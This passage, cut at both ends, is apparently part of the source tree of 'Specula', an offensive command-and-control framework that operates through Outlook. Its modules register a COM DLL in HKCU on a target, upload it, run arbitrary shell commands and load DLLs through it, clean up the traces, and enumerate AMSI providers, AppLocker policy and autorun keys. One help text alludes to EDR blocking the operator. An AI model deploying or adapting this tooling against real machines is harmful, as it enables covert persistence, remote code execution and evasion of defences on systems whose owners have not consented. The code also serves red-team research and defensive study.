AddRef(This) ) #define ISepcula_Release(This) \ ( (This)->lpVtbl -> Release(This) ) #define ISepcula_GetTypeInfoCount(This,pctinfo) \ ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) #define ISepcula_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) #define ISepcula_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) #define ISepcula_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) #define ISepcula_RunShell(This,cmd,timeout,result) \ ( (This)->lpVtbl -> RunShell(This,cmd,timeout,result) ) #define ISepcula_LoadDll(This,path,persist,status) \ ( (This)->lpVtbl -> LoadDll(This,path,persist,status) ) #endif /* COBJMACROS */ #endif /* C style interface */ #endif /* __ISepcula_INTERFACE_DEFINED__ */ #ifndef __SpeculaApiLib_LIBRARY_DEFINED__ #define __SpeculaApiLib_LIBRARY_DEFINED__ /* library SpeculaApiLib */ /* [version][uuid] */ EXTERN_C const IID LIBID_SpeculaApiLib; EXTERN_C const CLSID CLSID_Sepcula; #ifdef __cplusplus class DECLSPEC_UUID("e8b55279-c6b4-48f3-8138-b727337c0236") Sepcula; #endif #endif /* __SpeculaApiLib_LIBRARY_DEFINED__ */ /* Additional Prototypes for ALL interfaces */ unsigned long __RPC_USER BSTR_UserSize( unsigned long *, unsigned long , BSTR * ); unsigned char * __RPC_USER BSTR_UserMarshal( unsigned long *, unsigned char *, BSTR * ); unsigned char * __RPC_USER BSTR_UserUnmarshal(unsigned long *, unsigned char *, BSTR * ); void __RPC_USER BSTR_UserFree( unsigned long *, BSTR * ); unsigned long __RPC_USER VARIANT_UserSize( unsigned long *, unsigned long , VARIANT * ); unsigned char * __RPC_USER VARIANT_UserMarshal( unsigned long *, unsigned char *, VARIANT * ); unsigned char * __RPC_USER VARIANT_UserUnmarshal(unsigned long *, unsigned char *, VARIANT * ); void __RPC_USER VARIANT_UserFree( unsigned long *, VARIANT * ); unsigned long __RPC_USER BSTR_UserSize64( unsigned long *, unsigned long , BSTR * ); unsigned char * __RPC_USER BSTR_UserMarshal64( unsigned long *, unsigned char *, BSTR * ); unsigned char * __RPC_USER BSTR_UserUnmarshal64(unsigned long *, unsigned char *, BSTR * ); void __RPC_USER BSTR_UserFree64( unsigned long *, BSTR * ); unsigned long __RPC_USER VARIANT_UserSize64( unsigned long *, unsigned long , VARIANT * ); unsigned char * __RPC_USER VARIANT_UserMarshal64( unsigned long *, unsigned char *, VARIANT * ); unsigned char * __RPC_USER VARIANT_UserUnmarshal64(unsigned long *, unsigned char *, VARIANT * ); void __RPC_USER VARIANT_UserFree64( unsigned long *, VARIANT * ); /* end of Additional Prototypes */ #ifdef __cplusplus } #endif #endif ================================================ FILE: api/SpeculaApi/SpeculaApips.def ================================================ LIBRARY EXPORTS DllGetClassObject PRIVATE DllCanUnloadNow PRIVATE DllRegisterServer PRIVATE DllUnregisterServer PRIVATE ================================================ FILE: api/SpeculaApi/dllmain.cpp ================================================ // dllmain.cpp : Implementation of DllMain. #include "pch.h" #include "framework.h" #include "resource.h" #include "SpeculaApi_i.h" #include "dllmain.h" CSpeculaApiModule _AtlModule; // DLL Entry Point extern "C" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { hInstance; return _AtlModule.DllMain(dwReason, lpReserved); } ================================================ FILE: api/SpeculaApi/dllmain.h ================================================ // dllmain.h : Declaration of module class. class CSpeculaApiModule : public ATL::CAtlDllModuleT< CSpeculaApiModule > { public : DECLARE_LIBID(LIBID_SpeculaApiLib) DECLARE_REGISTRY_APPID_RESOURCEID(IDR_SPECULAAPI, "{5be8ef76-6253-482a-926e-d1d877de3b63}") }; extern class CSpeculaApiModule _AtlModule; ================================================ FILE: api/SpeculaApi/framework.h ================================================ #pragma once #ifndef STRICT #define STRICT #endif #include "targetver.h" #define _ATL_APARTMENT_THREADED #define _ATL_NO_AUTOMATIC_NAMESPACE #define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // some CString constructors will be explicit #define ATL_NO_ASSERT_ON_DESTROY_NONEXISTENT_WINDOW #include "resource.h" #include #include #include ================================================ FILE: api/SpeculaApi/pch.cpp ================================================ // pch.cpp: source file corresponding to the pre-compiled header #include "pch.h" // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. ================================================ FILE: api/SpeculaApi/pch.h ================================================ // pch.h: This is a precompiled header file. // Files listed below are compiled only once, improving build performance for future builds. // This also affects IntelliSense performance, including code completion and many code browsing features. // However, files listed here are ALL re-compiled if any one of them is updated between builds. // Do not add files here that you will be updating frequently as this negates the performance advantage. #ifndef PCH_H #define PCH_H // add headers that you want to pre-compile here #include "framework.h" #endif //PCH_H ================================================ FILE: api/SpeculaApi/resource.h ================================================ //{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by SpeculaApi.rc // #define IDS_PROJNAME 100 #define IDR_SPECULAAPI 101 #define IDR_SEPCULA 106 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 201 #define _APS_NEXT_COMMAND_VALUE 32768 #define _APS_NEXT_CONTROL_VALUE 201 #define _APS_NEXT_SYMED_VALUE 107 #endif #endif ================================================ FILE: api/SpeculaApi/targetver.h ================================================ #pragma once // Including SDKDDKVer.h defines the highest available Windows platform. // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. #include ================================================ FILE: api/SpeculaApi.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.7.34202.233 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SpeculaApi", "SpeculaApi\SpeculaApi.vcxproj", "{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SpeculaApiPS", "SpeculaApiPS\SpeculaApiPS.vcxproj", "{B58767EE-5185-4E99-818F-6285332400E6}" ProjectSection(ProjectDependencies) = postProject {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB} = {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB} EndProjectSection EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x64.ActiveCfg = Debug|x64 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x64.Build.0 = Debug|x64 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x86.ActiveCfg = Debug|Win32 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x86.Build.0 = Debug|Win32 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x64.ActiveCfg = Release|x64 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x64.Build.0 = Release|x64 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x86.ActiveCfg = Release|Win32 {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x86.Build.0 = Release|Win32 {B58767EE-5185-4E99-818F-6285332400E6}.Debug|x64.ActiveCfg = Debug|x64 {B58767EE-5185-4E99-818F-6285332400E6}.Debug|x86.ActiveCfg = Debug|Win32 {B58767EE-5185-4E99-818F-6285332400E6}.Release|x64.ActiveCfg = Release|x64 {B58767EE-5185-4E99-818F-6285332400E6}.Release|x86.ActiveCfg = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {98C14C87-B4F7-4E1C-B61E-D945B7763368} EndGlobalSection EndGlobal ================================================ FILE: api/SpeculaApiPS/SpeculaApiPS.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 17.0 {B58767EE-5185-4E99-818F-6285332400E6} 10.0 AtlPSProj DynamicLibrary true v143 Unicode DynamicLibrary false v143 Unicode DynamicLibrary true v143 Unicode DynamicLibrary false v143 Unicode $(Configuration)PS\ $(Configuration)PS\ $(Configuration)PS\ $(Configuration)PS\ REGISTER_PROXY_DLL;_DEBUG;%(PreprocessorDefinitions) kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies) SpeculaApiPS.def true true if exist dlldata.c goto :END echo Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project. Exit 1 :END Checking for required files WIN32;REGISTER_PROXY_DLL;_DEBUG;%(PreprocessorDefinitions) kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies) SpeculaApiPS.def true if exist dlldata.c goto :END echo Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project. Exit 1 :END Checking for required files WIN32;REGISTER_PROXY_DLL;NDEBUG;%(PreprocessorDefinitions) MaxSpeed kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies) SpeculaApiPS.def true true true if exist dlldata.c goto :END echo Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project. Exit 1 :END Checking for required files REGISTER_PROXY_DLL;NDEBUG;%(PreprocessorDefinitions) MaxSpeed kernel32.lib;rpcns4.lib;rpcrt4.lib;oleaut32.lib;uuid.lib;%(AdditionalDependencies) SpeculaApiPS.def true true true true if exist dlldata.c goto :END echo Error: MIDL will not generate DLLDATA.C unless you have at least 1 interface in the main project. Exit 1 :END Checking for required files false false false false false false false false false false false false ================================================ FILE: api/SpeculaApiPS/SpeculaApiPS.vcxproj.filters ================================================  {3be6a7fa-d612-40eb-b2df-d2d4ff8b27b2} False {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Generated Files Generated Files Generated Files ================================================ FILE: functions/api/install_api.py ================================================ import copy import os from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring,makebool from lib.core.utility import TaskClass class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Sets reg keys to install com object to interface with Windows API. This module uploads the OutlookHelper DLL file automatically (Queued as tasks). In order to leverage the API modules you need to run the api_verify at least once so that the verification process runs on target and updates the specula database. """ self.entry = 'install_api' self.depends = ['./helperFunctions/Setregvalue_hkcu.txt'] self.options['file'] = { "value": "c:\\com-test\\v2\\specula_com.dll", "required": True, "description": "Where to upload and register api dll", "handler": quotedstring } self.options['addverifytask'] = { "value": "True", "required": True, "description": "Will add the verify task as the next task if this is set to true.", "handler": makebool } super().__init__(templatepath) def rethandler(self, agent, options, data): # Updating DB with the dll paths used and setting installed to true and verified to False arch = data[:2] localdll = None basefile = "SpeculaApi" if arch == "64": localdll = os.path.join(self.helpers.getpayloaddir(), "api/" + basefile + ".x64.dll") self.helpers.speclog("Identified 64 bit office install, uploading 64 bit dll", False) agent.officearch = "x64" elif arch == "32": localdll = os.path.join(self.helpers.getpayloaddir(), "api/" + basefile + ".dll") self.helpers.speclog("Identified 32 bit office install, uploading 32 bit dll", False) agent.officearch = "x86" else: self.helpers.speclog("Failed to detect office arch, api install failed", True) mod = self.helpers.get_module('api/remove_api') mod.options['deletedlls']['value'] = "False" task = TaskClass('api/remove_api', self.helpers.renderModule(mod, agent), mod.entry, copy.deepcopy(mod.options), True) agent.add_task(task) return # Add task to create the folder - Just in case folderpath = (options['file']['value']).rsplit('\\', 1)[0] #remove filename from path mod = self.helpers.get_module('operation/file/create_dir') mod.options['directory']['value'] = folderpath task = TaskClass('operation/file/create_dir', self.helpers.renderModule(mod, agent), mod.entry, copy.deepcopy(mod.options), True) agent.add_task(task) #queue dll upload mod = self.helpers.get_module('operation/file/put_file') mod.options['file']['value'] = localdll mod.options['destination']['value'] = options['file']['value'] task = TaskClass('operation/file/put_file', self.helpers.renderModule(mod, agent), mod.entry, copy.deepcopy(mod.options), True) agent.add_task(task) agent.api_dll = options['file']['value'] agent.api_installed = True if options['addverifytask']['value']: mod = self.helpers.get_module('api/verify_api') task = TaskClass('api/verify_api', self.helpers.renderModule(mod, agent), mod.entry, {}, True) agent.add_task(task) ================================================ FILE: functions/api/install_api.txt ================================================ Function install_api() On Error Resume Next is64 = false Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objreg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") objreg.GetStringValue 2147483650, "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\outlook.exe", "Path", strPath if InStr(strPath, "x86") > 0 Then SetValue_HKCU_Registry = "32" else SetValue_HKCU_Registry = "64" is64 = true end if basepath = "software\classes\" SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "SpeculaApi.Specula", "REG_SZ", "@", "Specula class") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "SpeculaApi.Specula\CurVer", "REG_SZ", "@", "SpeculaApi.Specula.1") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "SpeculaApi.Specula.1", "REG_SZ", "@", "Specula class") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "SpeculaApi.Specula.1\CLSID", "REG_SZ", "@", "{e8b55279-c6b4-48f3-8138-b727337c0236}") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}", "REG_SZ", "@", "Specula class") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}\InprocServer32", "REG_SZ", "@", {{file}}) & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}\InprocServer32", "REG_SZ", "ThreadingModel", "Free") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}\ProgId", "REG_SZ", "@", "SpeculaApi.Specula.1") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}\Programmable", "REG_SZ", "@", "") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}\TypeLib", "REG_SZ", "@", "{5be8ef76-6253-482a-926e-d1d877de3b63}") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}\Version", "REG_SZ", "@", "1.0") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}\VersionIndependentProgID", "REG_SZ", "@", "SpeculaApi.Specula") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "TypeLib\{5be8ef76-6253-482a-926e-d1d877de3b63}\1.0", "REG_SZ", "@", "SpeculaApiLib") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "TypeLib\{5be8ef76-6253-482a-926e-d1d877de3b63}\1.0\FLAGS", "REG_SZ", "@", "0") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "TypeLib\{5be8ef76-6253-482a-926e-d1d877de3b63}\1.0\0\win32", "REG_SZ", "@", {{file}}) & vbCrLf if (is64) then SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "TypeLib\{5be8ef76-6253-482a-926e-d1d877de3b63}\1.0\0\win64", "REG_SZ", "@", {{file}}) & vbCrLf end if SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "Interface\{B0F5F947-8064-48F7-A623-5C058DC91CC8}", "REG_SZ", "@", "ISepcula") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "Interface\{B0F5F947-8064-48F7-A623-5C058DC91CC8}\ProxyStubClsid32", "REG_SZ", "@", "{00020424-0000-0000-C000-000000000046}") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "Interface\{B0F5F947-8064-48F7-A623-5C058DC91CC8}\TypeLib", "REG_SZ", "@", "{5be8ef76-6253-482a-926e-d1d877de3b63}") & vbCrLf SetValue_HKCU_Registry = SetValue_HKCU_Registry & SetRegValue_HKCU(basepath + "Interface\{B0F5F947-8064-48F7-A623-5C058DC91CC8}\TypeLib", "REG_SZ", "Version", "1.0") & vbCrLf install_api = SetValue_HKCU_Registry End Function ================================================ FILE: functions/api/load_dll.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Loads a dll from disk using LoadLibrary """ self.entry = 'load_dll' self.depends = [] self.options['dll'] = { "value": None, "required": True, "description": "dll to load", "handler": None } super().__init__(templatepath) def preprocess(self, agent): if agent.api_verified != True: raise RuntimeError("API has not been verified, please run api_verify first to check that the API is working\nIf it works it will mark the attribute api_verified to True\nTo override you would need to use dbedit to change the value to true") ================================================ FILE: functions/api/load_dll.txt ================================================ Function load_dll on error resume next Set SpeculaApi = window.external.OutlookApplication.CreateObject("SpeculaApi.Specula") if SpeculaApi.LoadDll("{{dll}}") = 1 Then load_dll = "True" Else load_dll = "False" End If End Function ================================================ FILE: functions/api/remove_api.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring,makebool class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Removes the registry values set by the install_outlookhelperapi. """ self.entry = 'remove_api' self.depends = ['./helperFunctions/Delregkey_hkcu.txt', './helperFunctions/Delregvalue_hkcu.txt'] self.options['deletedlls'] = { "value": "True", "required": True, "description": "Attempt to delete dll from disk, won't work if its been loaded into outlook", "handler": makebool } self.options['dll'] = { "value": "autoresolve", "required": True, "description": "Path to file on disk, let it be autoresolve to find path in specula db", "handler": quotedstring } super().__init__(templatepath) def preprocess(self, agent): if self.options['deletedlls']['value'] == "True": if self.options['dll']['value'] == "autoresolve": if agent.api_dll: self.options['dll']['value'] = agent.api_dll else: raise RuntimeError("No value found in Specula DB for api_dll - Rerun and specify path manually or set deletedlls to False") def rethandler(self, agent, options, data): # Updating DB with the dll paths used and setting installed to true and verified to False agent.api_dll = None agent.api_installed = False agent.api_verified = False ================================================ FILE: functions/api/remove_api.txt ================================================ Function remove_api() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set fs = window.external.OutlookApplication.CreateObject("Scripting.FileSystemObject") basepath = "software\classes\" regdelres = DelRegKey_HKCU(basepath + "OutLookHelper.Sysinfo") & vbCrlf regdelres = regdelres & DelRegKey_HKCU(basepath + "SpeculaApi.Specula.1") & vbCrlf regdelres = regdelres & DelRegKey_HKCU(basepath + "CLSID\{e8b55279-c6b4-48f3-8138-b727337c0236}") & vbCrlf regdelres = regdelres & DelRegKey_HKCU(basepath + "TypeLib\{5be8ef76-6253-482a-926e-d1d877de3b63}") & vbCrlf regdelres = regdelres & DelRegKey_HKCU(basepath + "Interface\{e8b55279-c6b4-48f3-8138-b727337c0236}") & vbCrlf if {{deletedlls}} = True Then If fs.FileExists({{dll}}) = True Then fs.DeleteFile {{dll}} else End If If fs.FileExists({{dll}}) = True Then filedelres = filedelres & "Delete file: " & {{dll}} & " - Fail" & vbCrlf else filedelres = filedelres & "Delete file: " & {{dll}} & " - Success!" & vbCrlf End If remove_api = regdelres & filedelres else remove_api = regdelres End if End Function ================================================ FILE: functions/api/run_shell.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Run a basic shell command via the installed com object """ self.entry = 'run_shell_api' self.depends = [] self.options['cmd'] = { "value": None, "required": True, "description": "Command to execute", "handler": None } super().__init__(templatepath) def preprocess(self, agent): if agent.api_verified != True: raise RuntimeError("API has not been verified, please run api_verify first to check that the API is working\nIf it works it will mark the attribute api_verified to True\nTo override you would need to use dbedit to change the value to true") ================================================ FILE: functions/api/run_shell.txt ================================================ Function run_shell_api() on error resume next Set SpeculaApi = window.external.OutlookApplication.CreateObject("SpeculaApi.Specula") run_shell_api = SpeculaApi.RunShell("{{cmd}}") End Function ================================================ FILE: functions/api/verify_api.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Checks if the API is working or not. If this returns an error you should investigate the api installation. 1. Is the dll present on system? The dll paths pushed through the install_api module can be found under info/dbdata. 2. Is the necesarry registry keys present on the host? 3. Consider re-running the api_install 4. Could it be an EDR blocking you :INSERT SCREAMING GIF HERE: """ self.entry = 'api_verify' self.depends = [] super().__init__(templatepath) def rethandler(self, agent, options, data): if data == "False": agent.api_verified = False if data == "True": agent.api_verified = True ================================================ FILE: functions/api/verify_api.txt ================================================ Function api_verify() On error resume next Set specApi = window.external.OutlookApplication.CreateObject("SpeculaApi.Specula") If IsObject(specApi) Then api_verify = True else api_verify = False End if End Function ================================================ FILE: functions/enumerate/host/list_amsiproviders.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the AMSI Providers registered on the system. Based on MS documentation: https://techcommunity.microsoft.com/t5/exchange-team-blog/more-about-amsi-integration-with-exchange-server/ba-p/2572371 Gets the GUID and figures out the names from the Classes\\guid table in registry It uses WbemScripting.SWbemNamedValueSet - Add - Add.__ProviderArchitecture It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumKey - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_amsiproviders' super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_amsiproviders.txt ================================================ Function list_amsiproviders() On error resume next const REG_SZ = 1 const REG_EXPAND_SZ = 2 const REG_BINARY = 3 const REG_DWORD = 4 const REG_MULTI_SZ = 7 const REG_QWORD = 11 myoutput = "Registered AMSI providers found on system:" & vbCrLf Set oCtx = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemNamedValueSet") oCtx.Add "__ProviderArchitecture", 64 Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objreg = objLocator.ConnectServer(".","root\cimv2","","",,,,oCtx).Get("StdRegProv") objreg.EnumKey 2147483650, "Software\Microsoft\AMSI\Providers", arrKeys For Each subkey in arrKeys myoutput = myoutput & "Provider guid: " & subkey & vbCrLf objReg.GetStringValue 2147483650,"Software\Classes\CLSID\" & subkey,"",strValue myoutput = myoutput & "CLSID name: " & strValue & vbCrLf & vbCrLf Next list_amsiproviders = myoutput End Function ================================================ FILE: functions/enumerate/host/list_applocker.py ================================================ from lib.core.specmodule import SpecModule class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates the status of AppLocker. It returns one of the following statuses: - Not Enabled - Auditing - Enforced It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumKey - ConnectServer(root\cimv2).GetDwordValue - ConnectServer(root\cimv2).GetStringValue """ self.entry = 'list_applocker' self.depends = [] super().__init__(templatepath) ================================================ FILE: functions/enumerate/host/list_applocker.txt ================================================ Function list_applocker() On error resume next Set objLocator = window.external.OutlookApplication.CreateObject("WbemScripting.SWbemLocator") Set objReg = objLocator.ConnectServer(".", "root\cimv2").Get("StdRegProv") ALlog = "Enumerate AppLocker status:" & vbCrLf KeyPathAL = "Software\Policies\Microsoft\Windows\SrpV2\" results = objReg.EnumKey(2147483650, KeyPathAL, arrSubkeysAL) If results <> 0 Then ALlog = ALlog & "AppLocker disabled!" list_applocker = ALlog Else ALlog = ALlog & "AppLocker enabled!" & vbCrlf For Each strSubkeyAL In arrSubkeysAL status = objReg.GetDwordValue(2147483650, KeyPathAL & strSubkeyAL, "EnforcementMode", sectionMode) If status <> 0 Then val = "Not Enabled" Else If sectionMode = 1 Then val = "Enforced" ElseIf sectionMode = 0 Then val = "Auditing" End If resul = objReg.EnumKey(2147483650, KeyPathAL & strSubKeyAL, arrSectionSub) AppLockerRules = AppLockerRules & "AppLocker Rule section: " & strSubKeyAL & vbCrlf For Each strSub in arrSectionSub res = objReg.GetStringValue(2147483650, KeyPathAL & strSubKeyAL & "\" & strSub, "Value", outrules) AppLockerRules = AppLockerRules & outrules & vbCrlf Next End If ALlog = ALlog & "EnforcementMode for " & strSubKeyAl & " Is " & val & vbCrlf Next list_applocker = ALlog & vbCrlf & AppLockerRules End If End Function ================================================ FILE: functions/enumerate/host/list_autoruns.py ================================================ from lib.core.specmodule import SpecModule from lib.modhandlers.generic import quotedstring class Spec(SpecModule): def __init__(self, templatepath, helpers): self.options = {} self.helpers = helpers self.help = """ Enumerates autoruns defined on the agent It uses WbemScripting.SWbemNamedValueSet - Add - Add.__ProviderArchitecture It uses WbemScripting.SWbemLocator - ConnectServer(root\cimv2) - ConnectServer(root\cimv2).EnumValues - ConnectServer(root\cimv2).GetDwordValue - ConnectServer(root\cimv2).GetStringValue - ConnectServer(root\cimv2).GetExpandedStringValue - ConnectServer(root\cimv2).GetBinaryValue - ConnectServer(root\cimv2).GetMultiStringValue - ConnectServer(root\cimv2).GetQWORDValue It uses Scripting.FileSystemObject - GetFolder - GetFolder().Files - GetBaseName - GetExtensionName """ self.entry = 'list_autoruns' self.depends = ['./helperFunctions/Getallregvalues.txt', './helperFunctions/Getregvalue.txt', './helperFunctions/dir_lister.txt'] self.options['username'] = { "value": "Dummy", "required": True, "description": "Username, autoresolves to agents registered username", "handler": quotedstring, "hidden": False } super().__init__(templatepath) def preprocess(self, agent): self.options['username']['value'] = agent.username ================================================ FILE: functions/enumerate/host/list_autoruns.txt ================================================ Function list_autoruns() On error resume next list_autoruns = "HKCU Autoruns:" & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKCU", "Software\Microsoft\Windows\CurrentVersion\run", 64, 2147483649) list_autoruns = list_autoruns & GetAllRegValues("HKCU", "Software\Microsoft\Windows\CurrentVersion\runonce", 64, 2147483649) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKCU", "Software\Microsoft\Windows\CurrentVersion\RunServices", 64, 2147483649) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKCU", "Software\Microsoft\Windows\CurrentVersion\RunServicesOnce", 64, 2147483649) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKCU", "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", 64, 2147483649) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKCU", "Software\Microsoft\Windows NT\CurrentVersion\Windows\load", 64, 2147483649) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKCU", "Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", 64, 2147483649) & vbCrLf list_autoruns = list_autoruns & vbCrLf 'HKLM list_autoruns = list_autoruns & "HKLM Autoruns:" & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\Run", 64, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\Run", 32, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\RunOnce", 64, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\RunOnce", 32, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\RunOnceEx", 64, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\RunOnceEx", 32, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\RunServicesOnce", 64, 2147483650) & vbCrLf list_autoruns = list_autoruns & GetAllRegValues("HKLM", "Software\Microsoft\Windows\CurrentVersion\RunServices", 64, 2147483650) & vbCrLf list_autoruns = 